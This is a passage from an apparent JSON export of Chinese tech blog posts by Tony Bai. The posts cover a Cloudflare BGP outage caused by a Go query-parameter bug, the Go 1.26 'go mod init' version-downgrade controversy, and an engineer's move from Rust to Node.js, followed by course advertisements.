现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/23/financial-infrastructure-rust-to-go-pragmatism-victory/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/financial-infrastructure-rust-to-go-pragmatism-victory-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/23/financial-infrastructure-rust-to-go-pragmatism-victory\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/23/financial-infrastructure-rust-to-go-pragmatism-victory\"\u003ehttps://tonybai.com/2026/02/23/financial-infrastructure-rust-to-go-pragmatism-victory\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在系统级编程语言的版图上，Go 与 Rust 的对比与争论从未停歇。一个是崇尚大道至简、开发效率极高的“云原生时代王者”；另一个则是以内存安全、零成本抽象和极致性能著称的“极客新宠”。当这两种哲学碰撞在对安全性、稳定性和低延迟要求极高的金融/交易基础设施领域时，开发者该如何抉择？\u003c/p\u003e","title":"金融级基础设施重构：放弃 Rust 拥抱 Go，务实主义的最终胜利？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/23/cloudflare-bgp-withdrawal-outage-go-post-mortem\n大家好，我是Tony Bai。\n2026 年 2 月 20 日，全球互联网基础设施巨头 Cloudflare 经历了一次持续超 6 小时的严重服务中断。令人震惊的是，这次事故并非源于复杂的黑客攻击或硬件故障，而是源于一段用 Go 语言编写的、旨在实现自动化清理的后台脚本中，一个微小但致命的逻辑漏洞。\n这个 Bug 导致 Cloudflare 错误地撤回了约 1100 个客户的 BGP（边界网关协议）前缀，使得大量服务从互联网上“消失”。\n本文将基于Cloudflare官方公告内容带你深入这场灾难的中心，从 Go 代码细节到系统架构，层层解读事故原因，并提炼对广大开发者极具价值的工程启示。\n灾难降临：BGP 路由的意外撤回 事件发生在全球协调时间 (UTC) 2026 年 2 月 20 日 17:48。当时，部分使用 Cloudflare BYOIP（Bring Your Own IP，自带 IP）服务的客户突然发现，他们的应用和服务与互联网断开了连接。\n核心症状：Cloudflare 的网络停止向互联网广播这些客户的 IP 前缀。\n在 BGP 的世界里，如果你不宣告（Advertise）你的 IP 前缀，互联网就不知道如何将流量路由给你。这导致受影响的客户陷入了一种被称为 “BGP 路径寻游” (BGP Path Hunting) 的状态。最终用户的连接会在网络中四处游荡，试图寻找一条通往目标 IP 的路径，直到最终超时失败。这影响了包括 CDN、Spectrum、Magic Transit 在内的多项核心服务。甚至著名的 1.1.1.1 DNS 解析器网站也出现了 403 错误。\n虽然工程师在发现问题后迅速终止了引发故障的子进程，但撤回动作已经发生。最终，约 1100 个 BYOIP 前缀（占当时通告的 BYOIP 前缀总数的 25%）被错误地移除了边缘节点的配置，整个恢复过程耗时超过 6 个小时。\n寻找真凶：一段“失控”的 Go 代码 Cloudflare 以极高的透明度公开了导致这次事故的罪魁祸首。问题出在他们内部的 Addressing API 服务中。\nAddressing API 是 Cloudflare 网络中客户 IP 地址的单一真实来源（Source of Truth）。任何对此 API 数据的修改，都会立即触发一系列工作流，最终导致边缘路由器上 BGP 宣告状态的改变。\n当时，Cloudflare 正在推进一项名为 “Code Orange: Fail Small” 的内部韧性提升计划。该计划的一个目标是将一些危险的“手动操作”转化为安全、自动化的流程。为了实现这一目标，工程师编写了一个新的 Go 后台子任务（Sub-task），用于定期自动清理那些被客户标记为“待删除”的 BYOIP 前缀。\n然而，这个用于提升安全性的自动化脚本，却因一个极其基础的代码错误而变成了“大规模杀伤性武器”。\n致命的代码片段分析 以下是 Cloudflare 公开的触发故障的客户端请求代码：\nresp, err := d.doRequest(ctx, http.MethodGet, /v1/prefixes?pending_delete, nil) 乍一看，这是一个非常普通的 HTTP GET 请求，旨在获取所有状态为 pending_delete（待删除）的前缀。\n但是，让我们来看看对应的服务端（Addressing API）是如何处理这个请求的：\nif v := req.URL.Query().Get(\u0026#34;pending_delete\u0026#34;); v != \u0026#34;\u0026#34; { // 忽略其他行为，从 ip_prefixes_deleted 表中获取待删除的对象 prefixes, err := c.RO().IPPrefixes().FetchPrefixesPendingDeletion(ctx) if err != nil { api.RenderError(ctx, w, ErrInternalError) return } api.Render(ctx, w, http.StatusOK, renderIPPrefixAPIResponse(prefixes, nil)) return } 问题就出在第一行的 if 条件判断上。\n客户端的意图：客户端发送了 /v1/prefixes?pending_delete。注意，这里的 pending_delete 是一个没有值的查询参数（Flag）。 URL.Query().Get() 的行为：在 Go 语言的 net/url 标准库中，如果 URL 包含一个键但没有值（如 ?key 或 ?key=），Get(“key”) 将返回一个空字符串 (“”)。 服务端的误判：服务端的判断条件是 v != “”。由于客户端传入的是无值的 flag，v 的确是空字符串。因此，条件计算结果为 false。 灾难性的后果：\n由于未命中上述的特殊分支，API 服务器将这个请求视为一个常规的、无过滤条件的查询，即“获取所有的 BYOIP 前缀”。\n更糟糕的是，后台子任务的逻辑是：将此 API 返回的所有前缀视为“待删除”，并开始执行删除操作。\n于是，这个本意是进行日常垃圾回收的脚本，变成了一台无情的推土机，开始系统性地、不可逆地从 Cloudflare 全球网络中删除正常客户的 BYOIP 前缀及其绑定的服务配置。直到 50 分钟后人工介入，这台推土机才被紧急叫停。\n为什么测试和灰度没能拦住它？ 这起事故最令人深思的不仅是代码的错误，而是围绕这段代码的防护网为何全部失效。在现代软件工程中，一个如此基础的逻辑错误不应该流入生产环境。\nAPI Schema 的不严谨 问题的根源在于 API 契约的模糊。将 pending_delete 设计为一个接受字符串（或隐式空字符串）的查询参数，而非严格布尔值（如 ?pending_delete=true），为误解埋下了伏笔。缺乏严格的请求参数校验（Schema Validation），使得服务端无法识别出这是一个畸形的请求。\n测试覆盖率的盲区 Cloudflare 承认，虽然有测试，但测试不完整。\n测了什么：他们重点测试了“客户通过自助服务 API 操作”的路径，这条路径是成功的。 漏了什么：他们没有测试这个新引入的、在没有明确用户输入的情况下独立运行的后台子任务服务。这揭示了一个常见的测试盲点：我们经常详尽地测试对外的暴露接口，却容易忽视对内部自动化脚本和批处理任务的端到端（E2E）测试。 Staging 环境的数据偏差 测试环境（Staging）未能复现生产环境的惨状。Cloudflare 指出，Staging 环境中的 Mock 数据无法充分模拟生产环境中的真实复杂状态。当一个具有毁灭性的脚本在贫瘠的测试数据上运行时，它看起来似乎一切正常，掩盖了潜在的爆炸半径。\n架构反思与亡羊补牢 这起由于推动自动化而导致的故障，是一次深刻的教训。Cloudflare 的事后反思和补救措施，为整个行业提供了宝贵的架构参考。\n严格分离“配置状态”与“运行状态” 在当时的架构中，客户更改寻址配置的数据库，与直接驱动边缘节点运行的数据库是同一个。这意味着数据库的任何错误变动，都会立即无缓冲地反映到全球网络上（即没有“发布”的概念）。\n补救措施：引入状态分离。配置变更不应直接触达生产。系统将定期对配置数据库进行“快照（Snapshot）”，并将这些快照像发布软件二进制文件一样，通过健康指标（Health Metrics）进行逐步、安全的发布。如果检测到异常，可以瞬间回滚到上一个健康的快照。\n构建大范围撤销的“断路器”（Circuit Breaker） 自动化脚本极易失控。为了防止类似的“删库跑路”事件再次发生，必须在基础设施层引入保护机制。\n补救措施：监控系统将严密监视更改的速度和广度。如果检测到 BGP 前缀被异常快速或大面积地撤回，系统将触发“断路器”，强制阻断更改的下发，直到工程师介入调查。\n规范 API 与强化测试 补救措施：重新标准化 API Schema，消除类似 pending_delete 这种模棱两可的参数解析。同时，不仅要测试成功路径，更要针对所有可能导致非预期状态的自动化后台任务进行严格的端到端测试。\n小结：敬畏复杂，敬畏代码 Cloudflare 这起 2026 年的宕机事故，为我们敲响了警钟：在分布式系统中，没有微不足道的改动。\n一行简单的 Go 语言 if 语句，一个被忽略的空字符串返回值，在自动化引擎的放大下，足以瘫痪全球数千个商业应用。它提醒我们，追求自动化的同时，必须建立同等强度的安全网；追求敏捷发布的同时，绝不能牺牲严谨的 API 设计和全覆盖的测试。\n在代码的世界里，魔鬼永远藏在细节之中。\n资料链接：https://blog.cloudflare.com/cloudflare-outage-february-20-2026/\n你的“推土机”时刻\n自动化是生产力的翅膀，也可能是灾难的推土机。在你的开发生涯中，是否也曾因为一个不起眼的逻辑漏洞（比如对空字符串或 nil 的误判），而在生产环境闹出过“大动静”？对于 Cloudflare 提出的“配置与运行状态分离”，你有什么看法？\n欢迎在评论区分享你的“血泪史”或防御心法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/23/cloudflare-bgp-withdrawal-outage-go-post-mortem/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/cloudflare-bgp-withdrawal-outage-go-post-mortem-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/23/cloudflare-bgp-withdrawal-outage-go-post-mortem\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/23/cloudflare-bgp-withdrawal-outage-go-post-mortem\"\u003ehttps://tonybai.com/2026/02/23/cloudflare-bgp-withdrawal-outage-go-post-mortem\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e2026 年 2 月 20 日，全球互联网基础设施巨头 Cloudflare 经历了一次持续超 6 小时的严重服务中断。令人震惊的是，这次事故并非源于复杂的黑客攻击或硬件故障，而是源于一段用 Go 语言编写的、旨在实现自动化清理的后台脚本中，一个微小但致命的逻辑漏洞。\u003c/p\u003e","title":"一行 Go 代码瘫痪 6 小时！复盘 Cloudflare BGP 路由撤回灾难"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/22/go-1-26-go-mod-init-downgrade-collision-review\n大家好，我是Tony Bai。\n2026年2月，Go 1.26 带着众多瞩目的新特性（如期待已久的 new(expr) 语法糖、全面启用的 Green Tea GC）正式发布。你兴奋地更新了本地的工具链，迫不及待地打开终端，想要体验一把用 new(42) 直接初始化指针的快感。\n你熟练地敲下：\n$ mkdir test \u0026amp;\u0026amp; cd test $ go mod init mytest $ cat \u0026lt;\u0026lt;EOF \u0026gt; main.go package main import \u0026#34;fmt\u0026#34; func main() { fmt.Println(new(42)) } EOF $ go build 你期待着编译成功，然而，迎接你的却是迎头一棒的编译错误：\n./main.go:5:14: new(42) requires go1.26 or later (-lang was set to go1.25; check go.mod) 注：go run不会有问题。go run 主要用于快速运行 Go 程序，它将直接使用当前 Go 工具链版本(比如Go 1.26.0)来执行代码，不会对 go.mod 中的版本声明进行验证。\n“什么情况？我用的明明是最新的 Go 1.26 工具链！”\n你满脸疑惑地打开刚刚生成的 go.mod 文件，赫然发现里面写着：\nmodule mytest go 1.25.0 你没有看错。在 Go 1.26 中，go mod init 默认生成的不再是你当前正在使用的工具链版本（1.N），而是退回了一个大版本（1.N-1）。 如果你使用的是 RC 预览版，它甚至会退回两个版本（1.N-2）。\n要想使用新特性，你必须手动去修改 go.mod，或者再多敲一行命令：go get go@1.26.0。\n这个打破了所有 Go 开发者十年肌肉记忆的改动，迅速在 GitHub 上引爆了争议。在 Issue #77653 中，社区与 Go 核心团队展开了一场火药味十足的“大辩论”。\n官方视角的“良苦用心”：为了生态的平滑演进 要理解这个“反直觉”的改动，我们必须先带入 Go 核心团队（特别是那些维护庞大开源生态和基础设施的工程师）的视角。\n这个改动源自 Go 1.26 开发周期中的 Issue #74748。Go 官方团队成员 dmitshur 提出了这个修改建议，并得到了 mvdan 等资深贡献者的强烈支持。\n他们的核心论点是：不假思索地要求最新版本，是一种对下游极其“不友好”的行为。\n遵循“支持两个最新大版本”的官方承诺 Go 官方的维护策略是始终支持最近的两个主要版本（在 1.26 发布时，受支持的是 1.26 和 1.25）。\ndmitshur 认为，如果一个开发者在 1.26 发布的第二天就用 go mod init 创建并发布了一个开源库，默认的 go 1.26 会导致所有尚未升级（仍在使用合法的、受支持的 1.25 版本）的下游企业用户无法直接编译这个库。\n“新的默认值永远不会切断任何一个当前受官方支持的 Go 工具链。” —— dmitshur\n倒逼开发者做出“有意识的选择” go.mod 中的 go 1.x 指令不仅控制着语法特性（Language Version），还控制着 GODEBUG 的默认行为。\n官方团队认为，放弃兼容旧版本，应该是一个“有意识的（Conscious）”决定。\nmvdan 在辩论中直言不讳：“我们不应该鼓励新的 Go 用户在新语言特性一出现时就立即使用它们。因为使用了新特性而破坏对旧版本用户的兼容性，这应该是一个深思熟虑的选择。”\n站在上帝视角，Go 官方希望把 go mod init 变成一种“刹车机制”：默认让你兼容更多人，除非你真的、确实、迫切需要最新特性，那你再去手动升级。\n社区的全面反弹：被傲慢牺牲的“开发者体验” 官方的“爹味”说教并没有说服社区。Issue #77653 的发起者 willfaught 以及众多开发者列举了连串的反驳，直指这一决策在逻辑上的“千疮百孔”。\n违背“最小惊讶原则” 软件设计的铁律是“所见即所得”。用户下载了 Go 1.26，理所当然地认为开箱即用的就是 1.26 的全部能力。\n现在，官方文档、发布博客、社区媒体都在铺天盖地地宣传 1.26 的新语法，但新手按照官方教程敲下 go mod init 后，新语法却全部报错。这种认知断层对新手极度不友好，增加了无谓的挫败感。\n“所有代码都是公共库”的虚假前提 官方论点的核心基石是“保护下游调用者”。但社区一针见血地指出：世界上 99% 的 go mod init 都是为了创建私有项目、业务微服务、一次性脚本或个人玩具。\n“公共模块的维护者确实需要考虑兼容性，但为什么要让数以百万计的普通应用开发者，去为那几十个核心开源库作者的便利买单？”\n如果是写业务代码或自己跑着玩，开发者唯一的诉求就是用最新的工具写最爽的代码。强迫这 99% 的人每次都要手动 go mod edit -go=1.26，是典型的“为了 1% 的特例惩罚 99% 的大众”。\nGOTOOLCHAIN 让这种担忧变得多余 社区还指出，官方的担忧在 Go 1.21 引入了向前兼容的工具链下载机制（GOTOOLCHAIN=auto）后就已经不复存在了。\n如果一个库要求 go 1.26，而下游用户使用的是 Go 1.25，Go 1.25 的工具链会自动、透明地在后台下载 1.26 编译器来完成构建。\n既然工具链已经足够智能地解决了版本不匹配问题，为什么还要在 go.mod 初始化时进行人为的降级限制？\n虚假的安全感 开发者 rittneje 提出了一个致命的逻辑漏洞：go 1.25 只能阻挡语法级别的新特性。如果开发者在一个 go 1.25 的模块中使用了 Go 1.26 标准库中新增的函数，这并不会触发编译器的版本阻拦，但下游的 1.25 用户拉取代码后依然会编译失败。\n这意味着，官方强推的 N-1 降级策略，连他们自己宣称的“保护兼容性”的目的都无法严密达成。\n程序的傲慢与僵化的治理 在这场辩论中，比技术分歧更让人感到不安的，是 Go 核心团队在开源治理上的态度。\n当社区列出了如此详尽、逻辑严密的反对意见时，Go 核心成员 Ian Lance Taylor 的回复却像一盆冷水浇灭了讨论的希望：\n“大家都知道，我们决策的准则之一是：一旦我们做出了决定，除非有新的信息，否则我们不会重新审视它。否则我们将陷入无休止地重新考虑旧决定的循环中。恕我直言，我没有看到任何会导致我们重新审视此决定的新信息。”\n这段冷酷的回复引发了强烈的不满。开发者们指出，最初导致这个改变的提案（#74748）甚至没有走标准的 Go 提案审查流程（Proposal Process）。它作为一个普通的 Feature Request 被 Go 内部人员提出，并在极小范围内的几个人赞同后，就被直接合并进了 1.26 版本。\n“新信息就是：大多数开发者在 1.26 发布后才感知到这个隐蔽的改动，并认为这是一个糟糕的默认体验。” 开发者愤怒地反驳道。\n当官方以“没有新信息”为由拒绝倾听社区关于“开发者体验”的反馈时，Go 团队长期以来被诟病的“Google 工程师的傲慢（Google knows best）”似乎再次上演。\n哲学的分歧：我们在为谁设计语言？ 纵观整场风波，它不仅仅是一个 go mod init 默认输出什么字符串的技术细节，它本质上是一场关于“工具链默认行为到底应该为谁服务”的哲学碰撞。\nGo 核心团队（精英维护者视角）：他们站在整个生态系统的塔尖，每天看到的是版本碎片化、库冲突、向下兼容等宏观问题。对他们而言，保守、稳定、克制、不破坏是最高的优先级。因此，他们倾向于将“默认设置”作为一种教育手段，强迫开发者不要走得太快。 广大 Gopher（一线开发者视角）：他们身处业务交付的一线，面临的是业务迭代的压力。对他们而言，直觉、效率、无缝的开发者体验才是最高的优先级。当他们更新了最新版的编译器，他们想要的就是立刻获得最新的能力，而不是被工具链“按着头”讲兼容性的大道理。 在 Rust 社区，工具链（Cargo）总是鼓励你使用最新的 Edition；在 Node.js/Python 社区，大家习惯了追逐最新版本。而 Go，似乎正在一条更加“爹系”的道路上越走越远。\n小结：如何应对 1.26 的新常态？ 就目前的情况来看，Go 团队大概率不会在短时间内撤回这个决定。对于广大的 Gopher 来说，我们需要适应这个略显尴尬的新常态。\n如果你是一名应用开发者，希望在每个新项目中无缝使用最新的 Go 特性，你可以采取以下两种策略：\n修改肌肉记忆：以后创建新项目时，不要只敲 go mod init，养成敲连招的习惯： bash go mod init mymodule \u0026amp;\u0026amp; go get go@latest 设置 Shell 别名：在你的 .zshrc 或 .bashrc 中写一个 alias 来覆盖默认行为： bash alias gomodinit=\u0026#39;f() { go mod init \u0026#34;$1\u0026#34; \u0026amp;\u0026amp; go mod edit -go=$(go env GOVERSION | sed \u0026#34;s/go//\u0026#34;) ; }; f\u0026#39; Go 1.26 无疑是一个性能卓越、充满亮点的优秀版本，但 go mod init 的这一小段“降级”插曲，或许会在很长一段时间内，成为社区茶余饭后的吐槽谈资。\n技术工具的演进，永远在“严谨的安全网”与“极致的自由度”之间走钢丝。只是这一次，Go 似乎为了 1% 的开源生态理想，让 99% 的普通开发者感到了一丝被背叛的错愕。\n你对 Go 1.26 的这个默认行为改动怎么看？是支持官方的保守克制，还是支持社区的痛批？欢迎在评论区留下你的观点！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/22/go-1-26-go-mod-init-downgrade-collision-review/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-1-26-go-mod-init-downgrade-collision-review-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/22/go-1-26-go-mod-init-downgrade-collision-review\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/22/go-1-26-go-mod-init-downgrade-collision-review\"\u003ehttps://tonybai.com/2026/02/22/go-1-26-go-mod-init-downgrade-collision-review\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e2026年2月，\u003ca href=\"https://tonybai.com/2026/02/14/some-changes-in-go-1-26/\"\u003eGo 1.26\u003c/a\u003e 带着众多瞩目的新特性（如期待已久的 \u003ca href=\"https://tonybai.com/2025/08/17/create-pointer-to-simple-types/\"\u003enew(expr) 语法糖\u003c/a\u003e、\u003ca href=\"https://tonybai.com/2025/10/31/deep-into-go-green-tea-gc/\"\u003e全面启用的 Green Tea GC\u003c/a\u003e）正式发布。你兴奋地更新了本地的工具链，迫不及待地打开终端，想要体验一把用 new(42) 直接初始化指针的快感。\u003c/p\u003e","title":"“你装了 Go 1.26，却写不了 Go 1.26 的代码？”——复盘 go mod init 的降级风波"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/21/safety-vs-delivery-speed-why-farewell-rust-in-2026\n大家好，我是Tony Bai。\n在软件工程的铁三角中，Rust 占据了“安全性”与“性能”的绝对高地。凭借借用检查器（Borrow Checker）和极其严格的类型系统，它向开发者承诺了一个没有内存错误、没有空指针崩溃的完美世界。\n然而，在商业软件开发的战场上，还有一个至关重要的维度往往被技术纯粹主义者忽视，那就是——交付速度（Delivery Speed）。\n近日，资深工程师 Dmitry Kudryavtsev 发表了长文《Farewell, Rust》，详述了他为何忍痛将一个运行了多年、已盈利的 Rust 项目全盘重写为 Node.js 的心路历程。这篇文章也引发了一场关于“为了极致的安全性，我们是否值得牺牲过多的交付速度？”的深刻辩论。\n缘起：一个 C/C++ 老兵的“安全梦” Dmitry 绝非那些被即时编译（JIT）宠坏的脚本小子。相反，他的技术底色是硬核的 C/C++。\n早在高中时代，他就沉迷于指针的魔力，痴迷于手动管理内存的掌控感。他写过 3D 渲染器、IRC 机器人，甚至操作系统内核。然而，由于第一份工作是 PHP Web 开发，他被迫进入了动态语言的世界。虽然 PHP、Python 和 Ruby 带来了 Web 开发的极速体验，但在内心深处，他始终怀念 C 语言那种“压榨硬件每一滴性能”的快感，同时也痛恨 C 语言中防不胜防的内存安全漏洞。\n直到 Rust 横空出世。\n对于像 Dmitry 这样的工程师来说，Rust 简直就是“鱼与熊掌兼得”的梦想：\n低级控制力：像 C 一样精确控制内存布局。 安全性：编译器在编译阶段就能消除一整类内存错误。 现代体验：拥有像 Cargo 这样优秀的包管理工具。 于是，他做了一个所有热血工程师都会做的决定：为了追求极致的质量与安全，用 Rust 从零构建一个商业 Web 应用。\n起初，一切都很完美。他在 2023 年底成功上线了项目，甚至因此受邀在两个技术大会上发表演讲。但随着时间的推移，业务逻辑日益复杂，“安全性”的红利开始被“交付速度”的损耗所抵消。到了 2026 年初，为了项目的生存，他不得不做出了那个艰难的决定：告别 Rust。\n深度复盘：Rust 在 Web 交付中的“五大减速带” Dmitry 的文章之所以珍贵，是因为他用亲身经历证明了：在 Web 开发的特定场景下，Rust 引以为傲的“安全性”机制，如何一步步变成了拖慢“交付速度”的罪魁祸首。\n1. 模板与视图：类型安全 vs. 迭代速度 在后端逻辑中，Rust 的类型系统坚不可摧。但当数据流向前端（HTML/Email 模板）时，这种为了安全而设计的严格性，变成了修改 UI 时的噩梦。\n安全性的代价：为了保证编译时的类型安全，Rust 社区诞生了 Maud 或 Askama 这样的编译时模板库。它们通过宏（Macro）在编译期检查 HTML 模板中的每一个变量引用。这听起来很棒，意味着你永远不会渲染出错误的变量。 速度的牺牲：但这带来的副作用是，每次修改 HTML 哪怕一个标点符号，都会触发漫长的重新编译。在 Web 前端开发这种需要“所见即所得”的高频迭代场景下，这种等待是毁灭性的。 对比 Node.js：TypeScript 配合 JSX/TSX 提供了全链路的类型安全，同时保持了极快的热重载（Hot Reload）速度。重构一个字段，VS Code 会立即标红所有受影响的视图组件，修改后毫秒级生效。这种“安全且快”的体验，是 Rust 目前无法提供的。 2. 国际化（i18n）：生态缺失带来的效率黑洞 对于商业应用，支持多语言是刚需。\n虽然 Mozilla 开发了 Project Fluent，但 Rust 生态中缺乏成熟的、开箱即用的 i18n 解决方案。你往往需要为了“正确性”而去处理繁琐的加载逻辑和类型绑定，编写大量的胶水代码。而Node.js生态中的i18next 等库不仅极其成熟，还能配合 TypeScript 提供键值级别的类型安全。Node.js 原生内置了完整的 ICU 标准（Intl API），处理货币、日期、复数格式化信手拈来。在这一点上，Rust 开发者需要花费数倍的时间来实现同样的功能，严重拖慢了产品推向全球市场的速度。\n3. “动态”业务 vs. “静态”约束 Web 业务充满了动态性：用户提交的 JSON 结构可能是不确定的，筛选条件的组合可能是无穷的。Rust 试图用静态类型系统去约束这些动态行为，结果就是开发效率的暴跌。\n序列化之痛：serde 是 Rust 的瑰宝，但在处理复杂的、充满 Option 的业务数据时，为了安全地取出一个嵌套字段，你不得不编写大量的 match 或 unwrap 处理代码。为了优雅地处理错误，Dmitry 定义了十几个自定义错误枚举。虽然代码很健壮，但写起来太慢了。 SQL 的僵局：sqlx 提供了极其强大的编译时 SQL 检查，这在静态查询时非常棒。但是，一旦你需要根据用户输入动态构建查询（例如：用户选了 A 筛选条件就加个 WHERE 子句），Rust 的强类型系统就变成了噩梦。你无法像在 Node.js 中使用 Kysely 或 Prisma 那样，流畅地拼接查询片段。为了“安全”地构建 SQL，你付出了巨大的代码复杂度成本。 4. 编译时间：CI/CD 的隐形杀手 这是最让 Dmitry 崩溃的一点，也是“交付速度”最直观的体现。\nRust 的等待：随着依赖增多（尤其是使用了大量宏的 Web 框架），编译时间呈指数级增长。Dmitry 的 CI 流程需要 12-14 分钟 才能完成部署。“每次我在 Sentry 上看到一个简单的 Bug，想到修复它需要等待 15 分钟的构建流程，我就失去了修复的动力。” Node.js 的极速：迁移到Node.js后，完整的 CI 流程（含 Lint 和测试）仅需 5 分钟。部署速度提升了 3 倍。这意味着“发现 Bug -\u0026gt; 修复 -\u0026gt; 上线”的反馈闭环被大大缩短了。在商业竞争中，修复速度往往比绝对的“无 Bug”更重要。 5. 生态成熟度：造轮子的时间成本 Rust 的 Web 生态虽然在成长，但面对长尾需求时仍显稚嫩。\n场景：你需要集成一个冷门的第三方支付网关，或者处理一个特定的 Webhook 签名验证。 Rust 的困境：官方 SDK？没有。社区库？两年前就不更新了。为了安全，你不得不对着 API 文档，自己手写 HTTP 请求、自己实现加密验签逻辑。这占用了大量本该用于开发业务核心功能的时间。 Node.js 的便利：npm install 通常能解决一切。几乎所有 SaaS 服务商都会提供第一方的 Node.js SDK。“拿来主义”是提升交付速度的最佳捷径。 总结与反思：我们到底为了什么而编程？ Dmitry 的文章并没有否定 Rust 的价值。相反，他依然热爱 Rust，依然怀念那些与编译器“斗智斗勇”并最终获得完美代码的日子。\n他的结论非常客观，为所有正在做技术选型的团队提供了一把衡量“安全”与“速度”的标尺：\n资源占用 vs. 开发效率的账本 Rust 版本的应用内存占用仅 60-80MB，而 Node.js 版本约为 117MB。\nRust 确实更省资源。但对于业务应用来说，这 50MB 的内存差异，在云服务器几美元一个月的成本面前不值一提。然而，为了节省这 50MB 内存，开发者付出了几倍的开发时间、调试精力以及心智负担。这笔账，在商业逻辑上是划不来的。\n技术选型的“黄金法则” * 何时拥抱“安全性”（选 Rust）：如果你在构建数据库内核、搜索引擎、高频交易系统、嵌入式设备固件，或者像 Lambda 这样对冷启动时间极度敏感的 Serverless 函数。在这些场景下，性能和稳定性是核心竞争力，为了安全牺牲开发速度是值得的。 * 何时拥抱“交付速度”（选 Node.js/Go/Python）：如果你在构建 CRUD 后端、SaaS 业务逻辑、内部管理工具，或者处于需要快速试错、频繁变更需求的初创阶段。在这些场景下，迭代速度（Velocity）才是核心竞争力。 给 Go 开发者的启示 有趣的是，Dmitry 在注脚中提到了 Go：“Yes, there is Go. But I never really had the chance to like Go.”\n这其实是一个非常有意思的信号。在 Rust 的“极致安全”和 Node.js 的“极致速度”之间，Go 恰恰占据了那个“黄金平衡点”：\n* 它有静态编译和类型系统，比 Node.js 更安全、性能更好。 * 它有极快的编译速度和简单的语法，比 Rust 的心智负担低得多。 * 它有极其成熟的中间件和微服务生态。 对于那些厌倦了 Node.js 运行时错误，又被 Rust 借用检查器拖慢脚步的 Web 开发者来说，Go 依然是当下最务实的选择。\n小结 技术选型从来没有绝对的优劣，只有“最适合当下约束条件的工具”。\nDmitry 的故事提醒我们：不要因为手里拿着“安全性”这把锤子（Rust），就无视了“交付速度”这个钉子。在商业软件的世界里，有时候，为了让产品活下去，为了让用户更快用上新功能，“足够好”且“跑得快”的代码，往往比“完美但迟到”的代码更有价值。\nRust 是系统编程的未来，但这并不意味着它是所有 Web 业务的终点。对于独立开发者或初创团队而言，“快”，本身就是一种极其重要的功能。\n资料链接：https://yieldcode.blog/post/farewell-rust/\n你会为了“安全”放弃“速度”吗？\n软件工程永远是权衡的艺术。在你的项目中，你是否也曾为了追求某种“先进特性”，而导致项目进度失控？如果给你 50MB 的内存节省，你愿意多等 10 分钟的编译时间吗？\n欢迎在评论区分享你的选型纠结！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 